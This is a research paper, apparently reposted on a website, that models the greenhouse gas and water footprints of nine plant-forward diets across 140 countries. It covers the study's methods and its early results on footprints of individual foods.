Author Archives: admin

Country-specific dietary shifts to mitigate climate and water crises

Brent F.Kimab,Raychel E.SantoabAllysan P.ScatterdayaJillian P.FryabcdColleen M.SynkaShannon R.CebronaMesfin M.MekonneneArjen Y.HoekstrafgSaskiade PeehMartin W.BloemabRoni A.NeffabiKeeve E.Nachmanabij

a Johns Hopkins Center for a Livable Future, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21202, United States
b Department of Environmental Health & Engineering, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21205, United States
c Department of Health, Behavior and Society, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21205, United States
d Department of Health Sciences, Towson University, Towson, MD, 21252, United States
e Robert B. Daugherty Water for Food Global Institute, University of Nebraska, Lincoln, NE, 68508, United States
f University of Twente, 7522 NB, Enschede, Netherlands
g Lee Kuan Yew School of Public Policy, National University of Singapore, Singapore, 259772, Singapore
h United Nations World Food Programme, Rome, 00148, Italy
i Department of Health Policy and Management, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21205, United States
j Risk Sciences and Public Policy Institute, Johns Hopkins Bloomberg School of Public Health, Baltimore, MD, 21205, United States
Under a Creative Commons license.
Ensovoort, volume 40 (2019), number 9: 1


Undernutrition, obesity, climate change, and freshwater depletion share food and agricultural systems as an underlying driver. Efforts to more closely align dietary patterns with sustainability and health goals could be better informed with data covering the spectrum of countries characterized by over- and undernutrition. Here, we model the greenhouse gas (GHG) and water footprints of nine increasingly plant-forward diets, aligned with criteria for a healthy diet, specific to 140 countries. Results varied widely by country due to differences in: nutritional adjustments, baseline consumption patterns from which modeled diets were derived, import patterns, and the GHG- and water-intensities of foods by country of origin. Relative to exclusively plant-based (vegan) diets, diets comprised of plant foods with modest amounts of low-food chain animals (i.e., forage fish, bivalve mollusks, insects) had comparably small GHG and water footprints. In 95 percent of countries, diets that only included animal products for one meal per day were less GHG-intensive than lacto-ovo vegetarian diets (in which terrestrial and aquatic meats were eliminated entirely) in part due to the GHG-intensity of dairy foods. The relatively optimal choices among modeled diets otherwise varied across countries, in part due to contributions from deforestation (e.g., for feed production and grazing lands) and highly freshwater-intensive forms of aquaculture. Globally, modest plant-forward shifts (e.g., to low red meat diets) were offset by modeled increases in protein and caloric intake among undernourished populations, resulting in net increases in GHG and water footprints. These and other findings highlight the importance of trade, culture, and nutrition in diet footprint analyses. The country-specific results presented here could provide nutritionally-viable pathways for high-meat consuming countries as well as transitioning countries that might otherwise adopt the Western dietary pattern.


Sustainable diet
Dietary change
Food systems
Greenhouse gas emissions
Water footprint

1. Introduction

Undernutrition, obesity, and climate change have been described as a synergy of pandemics (Swinburn et al., 2019). Together with freshwater depletion and other related ecological harms, these intersecting global challenges share food and agricultural systems as an underlying driver. Leveraging those patterns presents an opportunity to address multiple challenges in tandem, with an eye toward avoiding the unintended consequences of making progress in some areas at the expense of others. For many low- and middle-income countries, for example, messaging about sustainable diets is complicated by a persistent high prevalence of all forms of undernutrition (Development Initiatives, 2018). Accounting for these and other factors at a country-specific level could help inform efforts among high-meat consuming countries to better align diets with public health and ecological goals, while providing nutritionally-viable strategies for transitioning countries that might otherwise adopt the Western dietary pattern, particularly among their urban population.

Shifts toward plant-forward diets are essential for meeting climate change mitigation targets (Bajzelj et al., 2014; Bryngelsson et al., 2016; Hedenus et al., 2014) and remaining within planetary boundaries (Willett et al., 2019). These and other concerns have fueled efforts—proposed and enacted—to reduce animal product consumption through approaches including behavior change campaigns (de Boer et al., 2014d; Morris et al., 2014), environmental impact labeling (Leach et al., 2016), dietary recommendations (Fischer and Garnett, 2016), and taxes (Säll and Gren, 2015; Springmann et al., 2017; Wirsenius et al., 2011). At the same time, animals raised for food can provide a range of agro-economic benefits, including converting inedible crop residues and by-products into human-edible food, and utilizing the share of grassland unsuitable for crop production (Mottet et al., 2017). Furthermore, animal-source foods are a valuable source of protein and bioavailable micronutrients, especially for young children (de Pee and Bloem, 2009d; Semba, 2016; Swinburn et al., 2019).

Policy and behavioral interventions aimed at promoting sustainable diets could be better informed with evidence about where they could offer the greatest potential benefits, the nutritional status of different populations, and the relative environmental impacts of each diet in each country. Previous studies documenting ecological impacts of dietary scenarios have called for greater geographic specificity (Aleksandrowicz et al., 2016; Jones et al., 2016), as most have examined only one or a few—almost exclusively industrialized—countries, or a regional or global aggregate (Appendix A, Table A1).

To help address these gaps, we modeled the greenhouse gas (GHG) footprint and blue and green water footprint (WF) of baseline consumption patterns and nine increasingly plant-forward diets with varying levels of animal products for 140 individual countries and territories (henceforth: “countries”). Diets were modeled in accordance with health criteria, offering nutritionally-viable scenarios (to the extent possible without accounting for micronutrients) that adjust for over- and under-consumption. We account for blue water (surface and groundwater, e.g., for irrigation) and green water (soil moisture from precipitation); the latter is often excluded from similar studies on the rationale that it does not directly impact water scarcity (e.g., by depleting aquifers). Green water accounting is important, however, because efficient use of green water in rainfed agriculture can lessen reliance on blue water elsewhere. In an internationally-traded economy, one cannot be considered independently of the other, and both are part of an increasingly scarce global pool (Hoekstra, 2016; Schyns et al., 2019). We also incorporate footprints of aquatic animals, nuts, and seeds—common protein alternatives to terrestrial animal products—which most prior studies excluded or only narrowly considered (Appendix A, Table A1).

By accounting for import patterns and associated differences in the GHG and water footprints of food items based on the production practices unique to items’ countries of origin (COO), the study model satisfies recent appeals (Heller and Keoleian, 2015; Wellesley et al., 2015) to incorporate trade flows when measuring the environmental impacts associated with national consumption patterns. Moreover, international accounting systems commonly attribute environmental impacts associated with imported foods to producing countries rather than the countries in which they are consumed, thereby displacing accountability away from the populations responsible for changing demand (Dario et al., 2014; de Ruiter et al., 2016; Peters and Hertwich, 2008).

This research identifies a range of country-specific scenarios in which dietary patterns could better align with climate change mitigation, freshwater conservation, and nutrition guidelines.

2. Methods

We developed a model to estimate the annual per capita and whole country GHG, blue water, and green water footprints for baseline consumption patterns and nine increasingly plant-forward diets specific to 140 countries. We also estimate the per-serving, per-kilocalorie, per-gram of protein, and per-kilogram edible weight footprints of common food groups. The model was developed in Python version 3.6. Model input and output are available in Mendeley Data (Kim et al., 2019).

2.1. Baseline consumption patterns

To characterize baseline consumption patterns for each country, we averaged data over the 2011–2013 Food and Agriculture Organization of the United Nations (FAO) food balance sheets (FBS) (FAO, 2017a), which provide estimates of per capita domestic food supplies after accounting for imports, exports, losses (where data are available), animal feed, and other non-food uses (FAO, 2001). Quantities reported in FBS reflect food availability and thus overestimate quantities actually consumed. Bovine meat supplies, for example, are reported in dressed carcass weight, which includes bones and other parts typically considered inedible. These data are appropriate for diet footprint modeling, however, because they reflect the amount of production involved in feeding populations (e.g., we measure the footprint of the carcass required to produce the edible portion of beef in the diet). Food balance sheets are also well-suited for comparing consumption patterns across countries (Fehrenbach et al., 2016) and have precedent in the literature for measuring diet footprints across regions (Hedenus et al., 2014; Popp et al., 2010; Pradhan et al., 2013; Tukker et al., 2011) and globally (Bajzelj et al., 2014; Stehfest et al., 2009; Tilman and Clark, 2014).

2.2. Food losses and waste

For some items in some countries, where sufficient data were available, FBS subtracted supply chain losses from food supply estimates. We added these quantities back in to food supplies for two reasons: First, estimates of diet footprints should reflect the fact that some amount of waste inevitably occurs between the producer and the consumer, thus for footprint modeling purposes we needed the original quantities of FBS items prior to supply chain losses. Second, in cases where it was appropriate to subtract supply chain losses—i.e., when dealing with amounts of calories or nutrients actually consumed (Section 2.4)—we used a more comprehensive source for food losses and waste (Gustavsson et al., 2011); combining this with FBS estimates would have resulted in double-counting. Detailed methods for estimating food losses and waste are provided in Appendix B.1.

2.3. Food items

Study diets were comprised of 74 items in FBS (Mendeley Data input/item_parameters). Twenty-four additional FBS items were excluded due to the small quantities in which they are typically consumed (e.g., spices), limited footprint data (e.g., game meats), and/or because they are not typically considered food (e.g., alcohols, cottonseed). Most FBS items are expressed in terms of primary equivalents, i.e., the quantity of a raw commodity required to produce a given quantity of processed goods. For example, wheat products (e.g., wheat flour and bread) are quantified in terms of the unprocessed wheat required for their production, and dairy products, except for butter and cream, are quantified as whole milk equivalents (FAO, 2001; 2017b). FBS items range from specific (e.g., bananas) to broad (e.g., freshwater fish). Other model inputs, including trade data and item footprints, were expressed in terms of specific items (e.g., walnuts), so we developed schemas to match them to the associated FBS items (e.g., nuts and products).

For modeling purposes, we added several custom items to represent foods either not included in FBS (e.g., edible insects) or more specific than those in FBS. The custom item for forage fish, for example, includes small, schooling pelagic fish such as sardines and herring that are prey for larger species, and unlike the FBS item “Pelagic Fish” it does not include larger species such as tuna. In Mendeley Data, custom items are identifiable by an FBS item code of 9000 or greater.

2.4. Modeled diets

For each of the 140 study countries, we modeled nine increasingly plant-forward diets that adhered to parameters for a healthy diet (summarized in Fig. 1; see also Mendeley Data input/item_parameters). Each diet used the country’s baseline consumption pattern as the starting point. In all steps where groups of FBS items (e.g., protein foods) were scaled up or down, the relative proportions of items within each group were preserved, reflecting each country’s unique dietary pattern. For example, the residents of South Korea consume relatively little dairy, so if they removed red meat from their diet we would not expect milk products to be a popular protein substitute. When comparing FBS item quantities with nutritional criteria (e.g., the target for caloric intake described below), we first subtracted region- and food group-specific losses occurring during processing and packaging, distribution, and consumption (Gustavsson et al., 2011). This step ensures that criteria are met based on quantities that are closer to amounts actually consumed, versus quantities in the food supply.

* * *

Fig. 1. Parameters for study diets. Partial shading indicates food groups that were included only on selected days/meals, e.g., meat was included in six of seven days for meatless day, and in one of three meals for two-thirds vegan.

aRed meat includes bovine, sheep, goat, and pig meat.

bWhen dairy products were scaled to meet the protein floor, only the FBS item “Milk, Excluding Butter” (which also includes some milk-derived products such as cheese and yogurt) was scaled. The FBS items “Butter, Ghee” and “Cream” were not scaled for protein.

cThe fruits and vegetables floor and added sugars cap for meatless day were only applied for one day of the week, reflecting one day of the lacto-ovo vegetarian diet and six days of the adjusted baseline.

dThe 2/3 vegan diet reflects the vegan diet for two out of three meals per day and the adjusted baseline for the third. The fruits and vegetables floor and added sugars cap were only applied to the two vegan meals.

eFor the low-food chain diet, protein from insects replaced 10% of the protein from terrestrial animal products, and protein from forage fish and bivalve mollusks replaced 70% and 30%, respectively, of the protein from aquatic animals.

* * *

Diets were modeled as follows. First, to adjust for over- and under-consumption, the baseline pattern was scaled to 2300 kilocalories—the upper bound of average per capita energy requirements calculated by Springmann et al. (2016). We held caloric intake constant across all modeled diets for consistency when making cross-country comparisons. In the steps described below (e.g., removing animal foods), the caloric content of the diet underwent further changes and subsequently had to be adjusted back to 2300, but performing this step first kept the relative proportions of FBS items closer to the baseline. Following the initial adjustment for caloric intake, amounts of nuts, seeds, and oils were held constant for all diets.

Where applicable, selected animal foods were removed (Fig. 1); e.g., terrestrial and aquatic meats were removed from the lacto-ovo vegetarian diet. Modeled diets were then adjusted to meet two health guidelines from the World Health Organization and FAO (2003): Fruits and vegetables (excluding starchy roots, e.g., potatoes, yams) were scaled up to a floor of 400 g per day, or approximately five servings; and added sugars were capped to contribute no more than 10% of total energy intake. For diets in which meat was eliminated, the fruit and vegetable floor was raised to six or seven servings per day (Fig. 1), based on the rationale that healthy vegetarian and vegan dietary patterns tend to include more of these items (Springmann et al., 2016). Note that we use the term “vegan” to refer to exclusively plant-based diets, without reference to other behaviors sometimes associated with the term, such as avoidance of leather products.

The low red meat diet additionally included a cap on red meat (i.e., bovine, sheep, goat, pig) of 350 g cooked weight per week, or roughly three servings, as per recommendations (World Cancer Research Fund and American Institute for Cancer Research, 2018). We converted the 350 g cap from cooked to raw weight (467 g) using the same conversion factors we used for per-serving footprints (Section 2.8, Mendeley Data input/per_unit_serving_sizes), and from raw weight to carcass weight (648 g) using the average of FAO extraction rates for bovine and pig meat (FAO, 2017). Taken together with adjustments for added sugars, fruits and vegetables, calories, and protein, this diet is intended to approximate the adoption of dietary recommendations.

For the low food chain diet, protein from insects replaced 10% of the protein from terrestrial animal products, and protein from forage fish and bivalve mollusks replaced 70% and 30%, respectively, of the protein from aquatic animals. Insects are not included in FBS, so nutritional content was derived from Payne et al. (2016). Forage fish and bivalve mollusks are included in FBS but grouped with other items (e.g., “Molluscs, Other” includes snails), so nutrient content was derived from the United States Department of Agriculture (USDA) food composition database (USDA, 2017). See Mendeley Data input/nutrient_comp_custom_items for details.

Following these adjustments, selected energy staples, i.e., FBS items in the grains and starchy roots groups, were scaled up or down to return to the 2300 kilocalorie target. Selected protein groups (Fig. 1) were then scaled up as needed to meet a protein floor of 69 g per day—12% of total energy intake, within the recommended range of 10–15% (World Health Organization and FAO, 2003). To hold calories constant while scaling up protein, caloric increases from protein foods were counter-balanced with commensurate reductions in calories from energy staples. The equation for this step is provided in Appendix B.2.

We also modeled an adjusted variant of the baseline pattern, scaled to 2300 kcal and the protein floor (Figs. 1, 5b, 6). When comparing plant-forward modeled diets with baseline consumption patterns, the adjusted baseline allows for isolating the effects of food substitutions independent of adjustments for over- and under-consumption.

The meatless day and two-thirds vegan diets were modeled as combinations of two diets. Meatless day was patterned after behavior change campaigns promoting one day of the week without meat (e.g., Meatless Monday) and assumes a lacto-ovo vegetarian diet for one day per week and the adjusted baseline for the other six days. We included this diet because it can serve as an entry point toward more plant-forward diets. Two-thirds vegan was patterned loosely after “Vegan Before 6” (Bittman, 2013) and assumes a vegan diet for two out of three meals per day and the adjusted baseline for the third, with each meal providing equal caloric content. This approach does not account for the possibility that people in some countries may consume more animal products at dinner, for example, compared to breakfast and lunch.

We also included a hypothetical scenario in which all study countries adopt the average baseline consumption pattern of high-income OECD countries (The World Bank, 2018; Figs. 1, 6 and 8a–d), illustrating potential outcomes of the Western diet becoming more widespread. Furthermore, by holding diet composition constant across countries, this scenario isolates the effects of import patterns and COOs on GHG and water footprints.

2.5. Countries

We ran the model for the 140 countries with sufficiently robust trade and food supply data for inclusion in the 2011–2013 FAO detailed trade matrices and FBS (FAO, 2017a).

2.6. Import patterns and countries of origin

An item’s footprint varies based on the conditions and practices specific to its COOs (e.g., Fig. 3, Fig. 4). To account for these differences, for each country and diet, we traced the supply of each FBS item back to the countries in which it was produced. Of Japan’s pig meat supply, for example, 48% was produced domestically over 2011–2013, 22% was imported from the United States (US), 10% from Canada, 7% from Denmark, and so on. For total imports by importing country and FBS item, we used trade data averaged over 2011–2013 FBS, and to allocate the share of total imports among COOs, we used 2011–2013 FAO detailed trade matrices (FAO, 2017a). Detailed methods are provided in Appendix B.3. Note that for this study, COOs were only relevant in cases where sufficient country-specific item footprint data were available.

2.7. Diet footprints

2.7.1. Overview

Contributions of FBS items to diet footprints were modeled using two approaches. The first method used country-specific footprints, i.e., for the items consumed in a given country, the GHG and water footprints were specific to the COOs from which each item was imported. Since we did not have sufficient country-specific data to apply this method in all cases, it was limited to the GHG and water footprints of terrestrial animal products (excluding insects), WFs of plant foods, and all land use change (LUC) CO2 footprints. After adapting country-specific footprint data to FBS items, this method yielded 16 009 footprint data points (available in Mendeley Data input/item_footprints_by_coo). These were then multiplied by the corresponding quantities of each item, allocated over COOs, in each country-diet combination. This method and the associated data sources are described in Sections with technical details covered in Appendix B.4.

The second method was used in cases where we did not have sufficient country-specific data to differentiate footprints by COO, i.e., for the GHG and water footprints of aquatic animals and insects, and the GHG footprints of plant foods. For this method we performed a literature search and adapted results from 114 peer-reviewed studies, yielding 764 data points (available in Mendeley Data input/item_footprints_distributions). For these item-footprint pairs, we used a bootstrapping approach to reflect the heterogeneity across the countries and production systems examined in the 114 studies. The bootstrapping approach is described in Sections, with the literature search described in Appendix B.5.

All results reflect cradle-to-farm gate activities only, and thus do not account for GHG and water footprints associated with processing, transportation, retail and preparation. This limitation is discussed in Section 3.3.

While most FBS items are expressed in terms of primary equivalents, there were some cases where we needed to allocate shares of GHG and water footprints among processed items originating from the same root product, e.g., butter and cream from milk. We adapted the economic allocation method described in Hoekstra et al. (2011). The method and how it was applied in each case are described in Appendix B.6.

2.7.2. GHG and land-use change CO2 footprints of terrestrial animal products, by COO

For GHG footprints of terrestrial animal products (excluding insects), we adapted data from FAO’s Global Livestock Environmental Assessment Model GLEAM-i tool (FAO, 2017c). The tool applies a consistent, transparent approach to quantifying production data and GHG emissions associated with terrestrial animal production specific to 235 different countries, accounting for differences in feed composition, feed conversion ratios, manure management techniques, and other parameters associated with the various species and production systems (e.g., grasslands cattle, feedlot cattle, broiler chickens, layer chickens) unique to each setting. The level of granularity provided by GLEAM-i further allowed us to report CO2 emissions from deforestation-driven LUC separately from other emissions sources. These qualities made GLEAM-i a robust choice for differentiating GHG footprints based on COO.

Although GLEAM-i accounts for soil carbon fluxes associated with land use change, e.g., conversion from forest to grassland, it does not account for the effects of livestock management practices on soil carbon losses or sequestration—an important limitation that should be addressed in future research (see Section 3.3). Furthermore, GLEAM-i does not allocate GHG emissions to offals and other slaughter byproducts, thus overestimating the GHG footprints of meat and underestimating those of offals (see Appendix B.6).

With the exception of offals, the GLEAM-i tool allocates GHG emissions from each production system among the associated animal products (e.g., cattle meat and milk from grassland systems in Brazil) based on protein content. The GHG footprints of these items, as reported by GLEAM-i, are specific to country, production system, and item but are not specific to the emissions source (i.e., LUC for soy feed, LUC for palm kernel cake feed, LUC for pasture expansion, and all other sources of GHG emissions). One of our study aims was to highlight the contributions of deforestation to GHG footprints. To this end, we allocated the GHG footprints of items among emissions sources based on the assumption that within a given a country and production system, the relative shares of source-specific GHG emissions among the items from that system is the same as the relative shares of total GHG emissions among those items, which was provided by GLEAM-i. For example, for United Kingdom (UK) layer systems, based on GLEAM-i data, 82% of the total GHG footprint was allocated to eggs and 18% was allocated to poultry meat. Thus, we applied the same percentages to allocate LUC CO2 emissions from the use of soy feed in UK layer systems (also reported by GLEAM-i) between eggs and meat. The equations for this method are detailed in Appendix B.4.

Since GLEAM-i reports GHG footprints per kilogram of protein, we converted to per-kilogram primary weight footprints (e.g., carcass weight for meat, whole milk for dairy) as follows. For each GLEAM-i item g produced in country c, the primary weight GHG footprint GHG was calculated as

where GHGP is the GHG footprint per kilogram of protein, PP is the annual production in kilograms of protein, and P is the annual production in kilograms primary weight.

Footprints of GLEAM-i items (e.g., buffalo meat, cattle meat) then needed to be translated to footprints of FBS items (e.g., bovine meat). We developed schemas matching GLEAM-i countries and items to those used in FBS. For each FBS item f produced in country c, we then calculated the primary weight GHG footprint as the average footprint of the associated GLEAM-i item(s) g produced in c, weighted by the tonnages produced P:

If there were no GLEAM-i footprint data for an FBS item in a given country, we used a regional average, weighted by the tonnage of the FBS item produced in each country (FAO, 2017a), as follows:

Finally, if there were no footprint data for f in r, a weighted global average was used.

2.7.3. Land-use change CO2 footprints of soy and palm oils intended for human consumption, by COO

Soybeans, soybean oil, palm oil, and palm kernel oil reported in FBS food supply data reflect uses for human consumption; GHG footprints of soy and palm as animal feed are described in Section 2.7.2. Land-use change CO2 footprints for the former items were adapted from FAO GLEAM documentation (FAO, 2017d), which provides per-hectare LUC CO2 footprints associated with soy and palm production for 92 (soy) and 14 (palm) countries. Per-hectare footprints were converted to per-kilogram footprints using country-specific crop yields from FAOSTAT, averaged over 2011–2013. The LUC CO2 footprints of soy and palm oils were then derived from their root products using the economic allocation method described in Appendix B.6. If there were no LUC CO2 footprint data associated with soy or palm production in a given country, the LUC CO2 footprint was assumed to be zero.

2.7.4. Water footprints of plant foods and terrestrial animal products, by COO

We adapted data from literature quantifying the blue and green WFs of plant foods (Mekonnen and Hoekstra, 2010a) and terrestrial animal products (Mekonnen and Hoekstra, 2010b) specific to over 200 countries. We developed schemas matching countries and items from these datasets to their FBS counterparts. Parallel to our approach for GHG footprints, for each FBS item f produced in country c, we calculated the WFs as the average footprint of the associated water dataset item(s) w produced in c, weighted by the tonnages produced P (FAO, 2017a):

If there were no country production data for an item w, an unweighted country average was used. If there were no WF data matching FBS item f produced in country c, a weighted regional or global average footprint was used, following the method described above for GLEAM-i.

One FBS item (honey) had no associated WF data and was thus excluded from WF calculations. Mekonnen and Hoekstra’s datasets did not include insects, so the WF of insects was taken from Miglietta et al. (2015) and used for insect production in all countries.

Note that this method does not account for levels of water scarcity in countries of origin. While we acknowledge that there are differing perspectives regarding the need for scarcity-weighted WFs, our approach is informed by Hoekstra (2016), which argues that WFs have implications for freshwater conservation wherever withdrawal occurs. In an internationally-traded economy, all freshwater is part of an increasingly scarce global pool. Even in regions with abundant freshwater availability, if water is used inefficiently in agriculture or aquaculture, wasted water is water that could have otherwise been used to produce more food—thus lessening the need for other, potentially water-scarce, regions to produce as much.

2.7.5. Bootstrapping approach for GHG footprints of plant foods, aquatic animals, and insects

In contrast to the datasets used for footprints by COO—which used uniform methods across FBS items and countries—plant food, aquatic animal, and insect GHG footprints from the literature search reflected a diversity of studies with varied methods, and represented some countries more than others. To maximize consistency across studies and with the country-specific data describe above, we applied strict inclusion/exclusion criteria and standardized results to the degree possible (described in Appendix B.5); however, the practices under study still varied greatly, e.g., by fertilizer and pesticide application rates, use of organic practices, irrigation method, crop rotations, use of protected cultivation (e.g., greenhouses), fish stocking density, and fishing method (e.g., long-lining, trawling). These may not be representative of the prevailing practices for a given country-item combination.

To account for this heterogeneity, we create a weighted probability distribution for each FBS item’s footprint observations. When a study provided results for multiple scenarios involving the production of the same item in the same country, e.g., for five GHG footprint observations for Spanish wheat with varying levels of nitrogen fertilizer inputs, we assigned a weight to each observation equal to the reciprocal of the number of observations, e.g., 1/5, preventing studies with multiple observations from being overrepresented. If there were no observations for an FBS item, proxies were used, e.g., a distribution of all grains footprints was used for sorghum and products, and a distribution of all citrus fruit footprints was used for grapefruit and products. All item footprint distributions used in the model are provided in Mendeley Data input/item_footprints_distributions.

To calculate the contributions of plant foods, aquatic animals, and insects to the GHG footprint of a country-diet combination, we used a bootstrapping approach designed to capture the distribution of item footprint values from the literature. The weighted distribution of GHG footprint values for tomatoes, for example, was skewed right; simply using the median or average would ignore this important detail. For our approach, we 1) selected 10 000 random samples from each FBS item footprint distribution, e.g., 10 000 samples from 23 weighted GHG footprint values (kg CO2e/kg) for barley; 2) multiplied each sampled footprint value by the corresponding quantity of the FBS item in the diet, e.g., 46 kg barley/capita/year in the Moroccan vegetarian diet; and 3) summed the resulting values for FBS items within the same group, e.g., resulting in a distribution of 10 000 values for the kg CO2e/capita/year associated with grains in the Moroccan vegetarian diet. Summing the median value from each distribution with results by COO (Sections yielded the total per capita footprint of a given country diet. We also present interquartile ranges (error bars in Fig. 7, also provided in Mendeley Data output) to convey variations across bootstrapped outputs. Note that these ranges apply only to items for which bootstrapping was used, as the COO-specific method does not account for uncertainty and is deterministic, returning a single footprint value for each permutation of inputs (e.g., FBS item, diet, country, and COO).
2.7.6. Bootstrapping approach for water footprints of aquatic animals

Aquatic animal WFs were limited to farmed species and accounted for blue and green WFs associated with feed production and, where applicable, blue water used to replace evaporative losses from freshwater ponds and to dilute seawater in brackish production. Water footprints of wild-caught aquatic animals were assumed to be negligible.

For feed-associated WFs, we created a distribution of WF values adapted from Pahlow et al. (2015) for each FBS item associated with farmed species. We did not have information about the share consumed in a given country that was farmed versus wild-caught, so we made assumptions based on 2014 global production patterns, e.g., 79% of harvests associated with the FBS item “Freshwater Fish” were from aquaculture (FAO, 2017e), so when this item was included in diets, we only applied the feed-associated WF to 79% of the amount consumed regardless of the country.

For freshwater pond aquaculture, we created a distribution of blue WF values for each of the FBS items “Freshwater Fish” and “Crustaceans” (Gephart et al., 2017; Henriksson et al., 2017; Verdegem and Bosma, 2009). For “Crustaceans” we created an additional distribution of blue WF values for brackish water pond aquaculture (Henriksson et al., 2017; Verdegem and Bosma, 2009). Both distributions were weighted using the method described in Section 2.7.5, except for the 31 values for freshwater production in China from Gephart et al. (2017), which were weighted by the percentage of Chinese freshwater production represented by each data point. We did not have information about the shares consumed in a given country that were from freshwater or brackish ponds, so as per our method for feed-associated WFs, we made assumptions based on 2014 global production patterns (FAO, 2017e; Mendeley Data input/aquaculture_percent_ponds).

Contributions of aquatic animals to country-diet WFs were calculated as follows, using the bootstrapping approach described in Section 2.7.5. We (1) selected 10 000 random samples from each FBS item-footprint distribution, e.g., for “Crustaceans” we selected 10 000 samples each from the distributions for feed blue WF, feed green WF, freshwater pond blue WF, and brackish water pond blue WF; (2) multiplied each sampled footprint value by the corresponding quantity of the FBS item in the diet; and (3) summed the resulting values for FBS items within the same group, i.e., “Aquatic animals,” keeping results for each water footprint type separate.

2.8. Footprints of individual food items

In addition to calculating diet footprints, we presented per-serving, per-kilocalorie, per-gram of protein, and per-kilogram edible weight footprints associated with grouped FBS items (Figs. 2, S1–S3). For per-kilogram footprints, we converted carcass weight and whole aquatic animal footprints of terrestrial and aquatic meats to edible weight equivalents (FAO, 1989, n.d.; Nijdam et al., 2012; Waterman, 2001). Where nut footprints were expressed in terms of in-shell, we converted them to shelled. Although the model handled dairy products in terms of whole milk equivalents (except for butter and cream), for comparative purposes we added the footprints of cheese and yogurt, derived from milk using economic allocation (see Appendix B.6). Per-kilogram edible weight footprints were then converted to per-serving footprints using US standards (U.S. Food and Drug Administration, 2016). Serving sizes and conversion factors are provided in Mendeley Data input/per_unit_serving_sizes.

* * *

Fig. 2. Average per serving (a) GHG, (b) blue water, and (c) green water item footprints. For items with sufficient country-specific footprint data (i.e., GHG and water footprints of terrestrial animal products excluding insects, WFs of plant foods, and LUC CO2 footprints), footprints were averaged across countries and weighted by the tonnage produced in each country. For all other items (i.e., from the literature search), see Section 2.7.5 for how averages were weighted. Most items shown here are grouped (e.g., grains); footprints associated with specific items used in the study model (e.g., maize, millet, barley) are provided in Mendeley Data input. Diamonds represent medians and error bars show interquartile ranges. See Mendeley Data input/per_unit_serving_sizes for primary weight to serving size conversions.

Forage fish GHG footprints are based on sardines and herring. Pond-raised WFs largely reflect tilapia, carp and catfish. Blue WFs for brackish pond aquaculture reflect freshwater used to dilute seawater. Water footprints of wild-caught aquatic animals were assumed to be negligible.

* * *

Fig. 3. Per-kilogram GHG footprints of bovine meat, by producing country, shown for countries that produced over 100 000 metric tons in 2011–2013.

* * *

Fig. 4. Per-kilogram blue and green WFs of rice, by producing country, shown for countries that produced over 1 000 000 metric tons (1 megaton) in 2011–2013.

* * *

Fig. 5. Potential per capita changes in diet-related GHG, blue water, and green water footprints across all 140 study countries, calculated as the average Δfootprint weighted by the population of each country. Shown for the nine modeled diets relative to (a) baseline consumption patterns and (b) an adjusted variant of each country’s baseline, scaled to 2300 kcal with a 69 g/capita/day protein floor. The adjusted baseline allows for comparisons between plant-forward diets and baseline patterns independent of adjustments for over- and under-consumption, isolating the effects of food substitutions. Diamonds represent medians and error bars show interquartile ranges.

* * *

Fig. 6. Greenhouse gasfootprints for selected diets, by country, (a) per capita and (b) for whole country populations. Countries are sorted by baseline footprint. Due to space constraints, of the 140 study countries, only the following are shown here: (a) the 59 countries above the 58th percentile for whole country baseline footprint, and (b) the 11 countries above the 92nd percentile for whole country baseline footprint.

* * *

Fig. 7. Per capita diet-related GHG footprints by country, diet, and food group. Shown for the top four countries with the largest whole-country diet-related baseline GHG footprints: (1 st) mainland China, (2nd) India, (3rd) Brazil and (4th) the United States. Indonesia, ranked 7th for whole-country footprint, is also shown as an example of a country with high consumption of aquatic animals. Most items shown here are broadly grouped (e.g., plant foods); diet footprints are provided with greater specificity in Mendeley Data output. Error bars show interquartile ranges and apply only to items for which bootstrapping was used, i.e., plant foods, aquatic animals, and insects (see Section 2.7.5).

* * *

Fig. 8. Water footprints by country (a) per capita, blue WF only; (b) per capita, combined blue plus green WFs; (c) for whole countries, blue WF only; (d) for whole countries, combined blue plus green WFs; and (e) per capita, for baseline diets only, separated by blue and green WF. Countries are sorted by (a–d) baseline footprint or (e) blue WF. Due to space constraints, of the 140 study countries, only the following are shown here: (a, b, e) the 35 countries above the 75th percentile for whole country baseline footprint, and (c, d) the 14 countries above the 90th percentile for whole country baseline footprint.

* * *

In addition to presenting the median and interquartile range for each group footprint, for groups with footprints specific to COO, we calculated global averages weighted by the mass produced in each country. For groups with footprints from our literature search, averages were weighted by the reciprocal of the number of observations from each study to prevent studies with multiple observations from being overrepresented (consistent with the weighting method described in Section 2.7.5).

3. Results and discussion

3.1. Footprints of individual food items

Our study model incorporated 3850 GHG, 5402 blue water, and 7521 green water data points (Mendeley Data input/item_footprints_by_coo, input/item_footprints_distributions) reflecting cradle-to-farm gate footprints of the individual food items comprising diets, spanning diverse production practices and conditions unique to COO. These are presented per serving (Fig. 2), per kilocalorie (Fig. S1), per gram of protein (Fig. S2) and per kilogram edible weight (Fig. S3) as global averages weighted by the tonnage produced in each country (where sufficient country-specific data were available). These figures show footprint values aggregated over common food groups (e.g., grains), whereas the study model handled items with greater specificity (e.g., maize, millet, barley).

Whether by serving, energy content, protein, or mass, ruminant meats (i.e., bovine, sheep, goat) were by far the most GHG-intensive items. Per serving, bovine meat (weighted average: 6.54 kg CO2e/serving) was 316, 115, and 40 times more GHG-intensive than pulses, nuts and seeds, and soy, respectively. Insects (e.g., mealworms, crickets) and forage fish (e.g., sardines, herring) were among the more climate-friendly animal products, much more so than dairy. Plant foods were generally the least GHG-intensive overall, often by an order of magnitude, even after accounting for GHGs associated with deforestation for palm oils and soy.

Blue WFs of pond-raised fish (e.g., carp, tilapia, catfish; weighted average: 698 L/serving) and farmed crustaceans (e.g., shrimp, prawns, crayfish; weighted average: 1184 L/serving) exceeded those of other item groups by an order of magnitude. Our model accounted for water used in production ponds and crop production for aquaculture feed. Re-filling ponds to replace evaporative losses, together with freshwater used to dilute seawater in brackish production, accounted for 94.7% and 95.1% of the blue WFs for pond-raised fish and farmed crustaceans, respectively.

Bovine meat was the only item group for which the weighted average blue WF was greater than the 75th percentile blue WF. This suggests that most bovine meat production occurs in countries where blue water use for bovine meat is particularly high.

